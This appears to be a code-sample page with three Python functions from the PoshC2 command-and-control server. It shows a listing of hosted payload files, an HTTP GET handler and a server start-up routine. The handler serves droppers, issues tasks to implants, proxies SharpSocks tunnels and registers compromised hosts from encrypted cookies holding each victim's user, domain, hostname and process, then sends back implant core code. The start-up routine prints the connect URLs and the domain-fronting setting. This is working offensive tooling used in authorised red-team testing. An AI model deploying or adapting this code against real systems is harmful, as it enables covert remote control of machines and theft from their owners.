Exemple #1
0
def do_show_hosted_files(user, command):
    hosted_files = get_hosted_files()
    filesformatted = "ID  URI  FilePath  ContentType  Base64  Active\n"
    for hosted_file in hosted_files:
        filesformatted += f"{hosted_file.ID}  {hosted_file.URI}  {hosted_file.FilePath}  {hosted_file.ContentType}  {hosted_file.Base64}  {hosted_file.Active} \n"
    print_good(filesformatted)
    input("Press Enter to continue...")
    clear()
Exemple #2
0
    def do_GET(self):
        try:
            """Respond to a GET request."""
            response_content_len = None
            response_code = 200
            response_content_type = "text/html"
            response_content = None

            hosted_files = get_hosted_files()

            webserver_log("GET request,\nPath: %s\nHeaders:\n%s\n" % (str(self.path), str(self.headers)))

            self.cookieHeader = self.headers.get('Cookie')
            self.ref = self.headers.get('Referer')

            UriPath = str(self.path)
            sharplist = []
            for hosted_file in sharpurls:
                hosted_file = hosted_file.replace(" ", "")
                hosted_file = hosted_file.replace("\"", "")
                sharplist.append("/" + hosted_file)

            self.server_version = ServerHeader
            self.sys_version = ""
            if not self.cookieHeader:
                self.cookieHeader = "NONE"

            # implant gets a new task
            new_task = newTask(self.path)

            if new_task:
                response_content = new_task

            elif [ele for ele in sharplist if(ele in UriPath)]:
                try:
                    webserver_log("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
                    r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
                    res = urlopen(r)
                    sharpout = res.read()
                    response_content_len = len(sharpout)
                    if (len(sharpout) > 0):
                        response_content = sharpout
                except HTTPError as e:
                    response_code = e.code
                    webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                    webserver_log("[-] SharpSocks  %s\r\n" % e)
                except Exception as e:
                    webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                    webserver_log("[-] SharpSocks  %s\r\n" % e)
                    print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
                    response_code = 404
                    HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                    if HTTPResponsePage:
                        response_content = bytes(HTTPResponsePage, "utf-8")
                    else:
                        response_content = bytes(GET_404_Response, "utf-8")

            # dynamically hosted files
            elif [ele for ele in hosted_files if(ele.URI in self.path)]:
                for hosted_file in hosted_files:
                    if hosted_file.URI == self.path or f"/{hosted_file.URI}" == self.path and hosted_file.Active == "Yes":
                        try:
                            response_content = open(hosted_file.FilePath, 'rb').read()
                        except FileNotFoundError as e:
                            print_bad(f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.URI} -> {e.filename}")
                        response_content_type = hosted_file.ContentType
                        if hosted_file.Base64 == "Yes":
                            response_content = base64.b64encode(response_content)

                        # do this for the python dropper only
                        if "_py" in hosted_file.URI:
                            response_content = "a" + "".join("{:02x}".format(c) for c in response_content)
                            response_content = bytes(response_content, "utf-8")

            # register new implant
            elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
                implant_type = "PS"
                if self.path == ("%s?p" % new_implant_url):
                    implant_type = "PS Proxy"
                if self.path == ("%s?d" % new_implant_url):
                    implant_type = "PS Daisy"
                if self.path == ("%s?m" % new_implant_url):
                    implant_type = "Python"
                if self.path == ("%s?d?m" % new_implant_url):
                    implant_type = "Python Daisy"
                if self.path == ("%s?p?m" % new_implant_url):
                    implant_type = "Python Proxy"
                if self.path == ("%s?c" % new_implant_url):
                    implant_type = "C#"
                if self.path == ("%s?d?c" % new_implant_url):
                    implant_type = "C# Daisy"
                if self.path == ("%s?p?c" % new_implant_url):
                    implant_type = "C# Proxy"
                if self.path == ("%s?j" % new_implant_url):
                    implant_type = "JXA"
                if self.path == ("%s?e" % new_implant_url):
                    implant_type = "NativeLinux"
                if self.path == ("%s?p?e" % new_implant_url):
                    implant_type = "NativeLinux Proxy"

                if implant_type.startswith("C#"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    if "\\" in User:
                        User = User[User.index("\\") + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), int(URLID))
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    response_content = encrypt(KEY, newImplant.SharpCore)

                elif implant_type.startswith("Python"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Domain, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower(), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content = encrypt(KEY, newImplant.PythonCore)

                elif implant_type.startswith("JXA"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Hostname, PID, ProcName, URLID = decCookie.split(";")
                    Domain = Hostname
                    URLID = URLID.replace("\x00", "")
                    URLID = URLID.replace("\x07", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), "x64", PID, str(ProcName).lower(), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content = encrypt(KEY, newImplant.JXACore)

                elif implant_type.startswith("NativeLinux"):
                    ProcName = "Linux Dropper"
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Domain, Hostname, Arch, PID, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content=encrypt(KEY, newImplant.NativeCore)                    
                else:
                    try:
                        cookieVal = (self.cookieHeader).replace("SessionID=", "")
                        decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                        decCookie = str(decCookie)
                        Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                        URLID = URLID.replace("\x00", "")
                        IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                        if "\\" in str(User):
                            User = User[str(User).index('\\') + 1:]
                        newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
                        newImplant.save()
                        newImplant.display()
                        newImplant.autoruns()
                        response_content = encrypt(KEY, newImplant.PSCore)
                    except Exception as e:
                        print("Decryption error: %s" % e)
                        traceback.print_exc()
                        response_code = 404
                        HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                        if HTTPResponsePage:
                            response_content = bytes(HTTPResponsePage, "utf-8")
                        else:
                            response_content = bytes(GET_404_Response, "utf-8")
            else:
                response_code = 404
                HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                if HTTPResponsePage:
                    response_content = bytes(HTTPResponsePage, "utf-8")
                else:

                    response_content = bytes(GET_404_Response, "utf-8")

            # send response
            self.send_response(response_code)
            self.send_header("Content-type", response_content_type)
            if response_content_len is not None:
                self.send_header("Connection", "close")
                self.send_header("Content-Length", response_content_len)
            self.end_headers()

            if response_content is not None:
                self.wfile.write(response_content)

        except Exception as e:
            webserver_log("Error handling GET request: " + str(e))
            webserver_log(traceback.format_exc())
Exemple #3
0
def main(args):
    httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)
    global new_implant_url, sharpurls, hosted_files, KEY, QuickCommandURI

    try:
        if os.name == 'nt':
            os.system('cls')
        else:
            os.system('clear')
    except Exception:
        print("cls")
    print(chr(27) + "[2J")
    print(Colours.GREEN + logopic)
    print(Colours.END + "")

    try:
        if db_exists():
            if len(os.listdir(PoshProjectDirectory)) > 2:
                existingdb(DatabaseType)
            else:
                print(Colours.RED + "[-] Project directory does not exist or is empty \n")
                print(Colours.RED + "[>] Create new DB and remove dir (%s) \n" % PoshProjectDirectory)
                sys.exit(1)
        else:
            newdb(DatabaseType)
    except Exception as e:
        print(str(e))
        traceback.print_exc()
        print(Colours.RED + "[>] Create new DB and remove dir (%s) \n" % PoshProjectDirectory)
        sys.exit(1)

    C2 = get_c2server_all()
    print("" + Colours.GREEN)
    print("CONNECT URL: " + get_newimplanturl() + Colours.GREEN)
    print("QUICKCOMMAND URL: " + select_item("QuickCommand", "C2Server") + Colours.GREEN)
    print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory)
    print("")
    print("PayloadCommsHost: " + select_item("PayloadCommsHost", "C2Server") + Colours.GREEN)
    print("DomainFrontHeader: " + str(select_item("DomainFrontHeader", "C2Server")) + Colours.GREEN)
    QuickCommandURI = select_item("QuickCommand", "C2Server")
    KEY = get_baseenckey()
    new_implant_url = get_newimplanturl()
    sharpurls = get_sharpurls().split(",")
    hosted_files = get_hosted_files()

    print("")
    print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort))
    killdate = datetime.strptime(C2.KillDate, '%Y-%m-%d').date()
    datedifference = number_of_days(date.today(), killdate)
    if datedifference < 8:
        print(Colours.RED + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference)))
    else:
        print(Colours.GREEN + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference)))
    print(Colours.END)

    if "https://" in PayloadCommsHost.strip():
        if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)):
            try:
                httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
            except Exception:
                httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
        else:
            raise ValueError("Cannot find the certificate files")

    c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
    c2_message_thread.start()

    try:
        httpd.serve_forever()
    except (KeyboardInterrupt, EOFError):
        httpd.server_close()
        print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort))
        sys.exit(0)